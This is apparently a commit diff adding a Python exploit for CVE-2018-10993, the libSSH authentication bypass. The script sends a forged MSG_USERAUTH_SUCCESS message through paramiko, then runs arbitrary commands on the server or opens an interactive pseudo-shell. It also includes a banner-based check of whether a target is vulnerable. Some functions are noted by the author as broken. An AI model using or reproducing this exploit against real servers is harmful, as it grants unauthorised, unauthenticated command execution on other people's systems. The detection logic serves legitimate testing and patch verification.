jam620 · August 1, 2019 04:01 · Dec 4, 2018
diff --git a/cve-2018-10993.py b/cve-2018-10993.py
@@ -0,0 +1,380 @@
+#!/usr/bin/python3
+
+#
+# CVE-2018-10993 libSSH authentication bypass exploit
+#
+#   The libSSH library has flawed authentication/connection state-machine.
+# Upon receiving from connecting client the MSG_USERAUTH_SUCCESS Message
+# (as described in RFC4252, sec. 5.1.) which is an authentication response message
+# that should be returned by the server itself (not accepted from client)
+# the libSSH switches to successful post-authentication state. In such state,
+# it impersonates connecting client as server's root user and begins executing
+# delivered commands. 
+#   This results in opening an authenticated remote-access channel
+# without any authentication attempts (authentication bypass).
+#
+# Below exploit contains modified code taken from:
+#   - https://github.com/leapsecurity/libssh-scanner
+#
+# Known issues:
+#   - UnauthSSH.shell() function is not working:
+#       I never got paramiko.Channel.invoke_shell() into working from custom
+#       transport object. Therefore as a workaround - `UnauthSSH.parashell()` function
+#       was implemented that substitutes original functionality of spawning shell.
+#
+# Requirements:
+#   - paramiko
+#
+# Mariusz B. / mgeeky, <mb@binary-offensive.com>
+#
+
+import sys
+import socket
+import time
+import argparse
+from sys import argv, exit
+
+try:
+    import paramiko
+except ImportError:
+    print('[!] Paramiko required: python3 -m pip install paramiko')
+    sys.exit(1)
+
+
+VERSION = '0.1'
+
+config = {
+    'debug' : False,
+    'verbose' : False,
+    'host' : '',
+    'port' : 22,
+    'log' : '',
+    'connection_timeout' : 5.0,
+    'session_timeout' : 10.0,
+    'buflen' : 4096,
+    'command' : '',
+    'shell' : False,
+}
+
+class Logger:
+    @staticmethod
+    def _out(x):
+        if config['debug'] or config['verbose']:
+            sys.stdout.write(x + '\n')
+
+    @staticmethod
+    def dbg(x):
+        if config['debug']:
+            sys.stdout.write('[dbg] ' + x + '\n')
+
+    @staticmethod
+    def out(x):
+        Logger._out('[.] ' + x)
+
+    @staticmethod
+    def info(x):
+        Logger._out('[?] ' + x)
+
+    @staticmethod
+    def err(x):
+        sys.stdout.write('[!] ' + x + '\n')
+
+    @staticmethod
+    def fail(x):
+        Logger._out('[-] ' + x)
+
+    @staticmethod
+    def ok(x):
+        Logger._out('[+] ' + x)
+
+class UnauthSSH():
+    def __init__(self):
+        self.host = config['host']
+        self.port = config['port']
+        self.sock = None
+        self.transport = None
+        self.connectionInfoOnce = False
+
+    def __del__(self):
+        if self.sock:
+            self.sock.close()
+
+    def sshAuthBypass(self, force = False):
+        if not force and (self.transport and self.transport.is_active()):
+            Logger.dbg('Returning already issued SSH Transport')
+            return self.transport
+
+        self.__del__()
+        self.sock = socket.socket()
+
+        if not self.connectionInfoOnce:
+            self.connectionInfoOnce = True
+            Logger.info('Connecting with {}:{} ...'.format(
+                self.host, self.port
+            ))
+
+        try:
+            self.sock.connect((str(self.host), int(self.port)))
+            Logger.ok('Connected.')
+        except Exception as e:
+            Logger.fail('Could not connect to {}:{} . Exception: {}'.format(
+                self.host, self.port, str(e)
+            ))
+            sys.exit(1)
+
+        message = paramiko.message.Message()
+        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
+
+        transport = paramiko.transport.Transport(self.sock)
+        transport.start_client(timeout = config['connection_timeout'])
+        transport._send_message(message)
+
+        self.transport = transport
+        return transport
+
+    def NOT_WORKING_shell(self):
+        # FIXME: invoke_shell() closes channel prematurely.
+        transport = self.sshAuthBypass()
+        session = transport.open_session(timeout = config['session_timeout'])
+        session.set_combine_stdLogger.err(True)
+        session.get_pty()
+        session.invoke_shell()
+
+        username = UnauthSSH._send_recv(session, 'username')
+        hostname = UnauthSSH._send_recv(session, 'hostname')
+
+        prompt = '{}@{} $ '.format(username, hostname)
+
+        while True:
+            inp = input(prompt).strip()
+
+            if inp.lower() in ['exit', 'quit'] or not inp:
+                Logger.info('Quitting...')
+                break
+
+            out = UnauthSSH._send_recv(session, inp)
+            if not out:
+                Logger.err('Could not constitute stable shell.')
+                return 
+
+            print(out)
+
+    def shell(self):
+        self.parashell()
+
+    def parashell(self):
+        username = self.execute('whoami')
+        hostname = self.execute('hostname')
+
+        prompt = '{}@{} $ '.format(username, hostname)
+
+        if not username or not hostname:
+            Logger.fail('Could not obtain username ({}) and/or hostname ({})!'.format(
+                username, hostname
+            ))
+            return
+
+        Logger.info('Entering pseudo-shell...')
+        while True:
+            inp = input(prompt).strip()
+
+            if inp.lower() in ['exit', 'quit'] or not inp:
+                Logger.info('Quitting...')
+                break
+
+            out = self.execute(inp)
+            if not out:
+                Logger.err('Could not constitute stable shell.')
+                return 
+
+            print(out)
+
+
+    # FIXME: Not used as NOT_WORKING_shell() is bugged.
+    @staticmethod
+    def _send_recv(session, cmd):
+        out = ''
+        session.send(cmd.strip() + '\n')
+
+        MAX_TIMEOUT = config['session_timeout']
+        timeout = 0.0
+
+        while not session.exit_status_ready():
+            time.sleep(0.1)
+            timeout += 0.1
+
+            if timeout > MAX_TIMEOUT:
+                return None
+            if session.recv_ready():
+                out += session.recv(config['buflen']).decode()
+
+            if session.recv_stderr_ready():
+                out += session.recv_stdLogger.err(config['buflen']).decode()
+
+        while session.recv_ready():
+            out += session.recv_ready(config['buflen'])
+
+        return out
+
+    @staticmethod
+    def _exec(session, inp):
+        inp = inp.strip()
+
+        Logger.dbg('Executing command: "{}"'.format(inp))
+        session.exec_command(inp + '\n')
+
+        retcode = session.recv_exit_status()
+        buf = ''
+
+        while session.recv_ready():
+            buf += session.recv(config['buflen']).decode()
+
+        buf = buf.strip()
+        Logger.dbg('Returned:\n{}'.format(buf))
+        return buf
+
+    def execute(self, cmd, printout = False, tryAgain = False):
+        transport = self.sshAuthBypass(force = tryAgain)
+        session = transport.open_session(timeout = config['session_timeout'])
+        session.set_combine_stderr(True)
+
+        buf = ''
+        try:
+            buf = UnauthSSH._exec(session, cmd)
+        except paramiko.SSHException as e:
+            if 'channel closed' in str(e).lower() and not tryAgain:
+                return self.execute(cmd, printout, True)
+
+            if printout and not tryAgain:
+                Logger.fail('Could not execute command ({}): "{}"'.format(cmd, str(e)))
+            return ''
+
+        if printout:
+            print('\n{} $ {}'.format(self.host, cmd))
+            print('{}'.format(buf))
+
+        return buf
+
+def exploit():
+    handler = UnauthSSH()
+    if config['command']:
+        out = handler.execute(config['command'])
+        Logger._out('\n$ {}'.format(config['command']))
+        print(out)
+    else:
+        handler.shell()
+
+def collectBanner():
+    ip = config['host']
+    port = config['port']
+
+    try:
+        s = socket.create_connection((ip, port), timeout = config['connection_timeout'])
+        Logger.ok('Connected to the target: {}:{}'.format(ip, port))
+        s.settimeout(None)
+        banner = s.recv(config['buflen'])
+        s.close()
+        return banner.split(b"\n")[0]
+
+    except (socket.timeout, socket.error) as e:
+        Logger.fail('SSH connection timeout.')
+        return ""
+
+def check():
+    global config
+    if not config['command'] and not config['shell']:
+        config['verbose'] = True
+
+    banner = collectBanner()  
+
+    if banner:
+        Logger.info('Obtained banner: "{}"'.format(banner.decode().strip()))
+
+        #
+        # NOTICE: The below version-checking logic was taken from:
+        #   - https://github.com/leapsecurity/libssh-scanner
+        #
+
+        if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]):
+            Logger.ok('Target seems to be VULNERABLE!')
+
+        elif any(version in banner for version in [b"libssh-0.7", b"libssh_0.7"]):
+            # libssh is 0.7.6 or greater (patched)
+            if int(banner.split(b".")[-1]) >= 6:
+                Logger.info('Target seems to be PATCHED.')
+            else:
+                Logger.ok('Target seems to be VULNERABLE!')
+                return True
+
+        elif any(version in banner for version in [b"libssh-0.8", b"libssh_0.8"]):
+            # libssh is 0.8.4 or greater (patched)
+            if int(banner.split(b".")[-1]) >= 4:
+                Logger.info('Target seems to be PATCHED.')
+            else:
+                Logger.ok('Target seems to be VULNERABLE!')
+                return True
+
+        else:
+            Logger.fail('Target is not vulnerable.')
+
+    else:
+        Logger.err('Could not obtain SSH service banner.')
+
+    return False
+
+def parse_opts():
+    global config
+
+    parser = argparse.ArgumentParser(description = 'If there was neither shell nor command option specified - exploit will switch to detect mode yielding vulnerable/not vulnerable flag.')
+    parser.add_argument('host', help='Hostname/IP address that is running vulnerable libSSH server.')
+    parser.add_argument('-p', '--port', help='libSSH port', default = 22)
+    parser.add_argument('-s', '--shell', help='Exploit the vulnerability and spawn pseudo-shell', action='store_true', default = False)
+    parser.add_argument('-c', '--command', help='Execute single command. ', default='')
+    parser.add_argument('--logfile', help='Logfile to write paramiko connection logs', default = "")
+
+    parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
+    parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
+
+    args = parser.parse_args()
+
+    try:
+        config['host'] = args.host
+        config['port'] = args.port
+        config['log'] = args.logfile
+        config['command'] = args.command
+        config['shell'] = args.shell
+        config['verbose'] = args.verbose
+        config['debug'] = args.debug
+
+        if args.shell and args.command:
+            Logger.err('Shell and command options are mutually exclusive!\n')
+            raise Exception()
+
+    except:
+        parser.print_help()
+        return False
+
+    return True
+
+def main():
+    sys.stderr.write('''
+    :: CVE-2018-10993 libSSH authentication bypass exploit.
+    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
+    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
+    v{}
+    
+'''.format(VERSION))
+    if not parse_opts():
+        return False
+
+    if config['log']:
+        paramiko.util.log_to_file(config['log'])
+
+    check()
+
+    if config['command'] or config['shell']:
+        exploit()
+
+if __name__ == '__main__':
+    main()
+
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